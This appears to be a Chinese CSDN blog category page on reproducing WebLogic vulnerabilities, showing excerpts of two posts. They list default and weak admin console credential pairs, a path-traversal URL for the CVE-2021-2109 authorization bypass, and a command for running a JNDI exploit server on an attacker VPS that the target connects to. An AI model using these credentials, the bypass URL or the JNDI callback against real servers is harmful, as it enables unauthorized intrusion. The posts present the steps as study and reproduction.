![](https://img-blog.csdnimg.cn/20201014180756928.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
weblogic漏洞复现
文章平均质量分 59
老鄧头
这个作者很懒,什么都没留下…
展开
-
Weblogic管理控制台Getshell
影响范围能访问并登录weblogic管理控制台即可:http://ip:7001/console获取控制台口令弱口令weblogic weblogicsystem passwordguest guestportaladmin portaladminadmin securityjoe passwordmary passwordsystem securitywlcsystem wlcs原创 2021-02-02 14:52:39 · 839 阅读 · 0 评论 -
CVE-2021-2109
漏洞检测访问url:http://xxx.xxx.xxx/console/css/%252e%252e/consolejndi.portal如果出现未授权访问则一般可以直接打了,由于这个漏洞的利用过程就需要目标服务器访问自己vps上的服务,所以只要能利用那目标肯定是要能出网的,那就是CS的战场了漏洞复现网上很多,我简单过一遍在vps上开启服务:java -jar JNDIExploit-v1.11.jar -i [vps_ip]JNDIExploit-v1.11.jar文件见附件修改一下ip原创 2021-02-02 14:45:29 · 1270 阅读 · 0 评论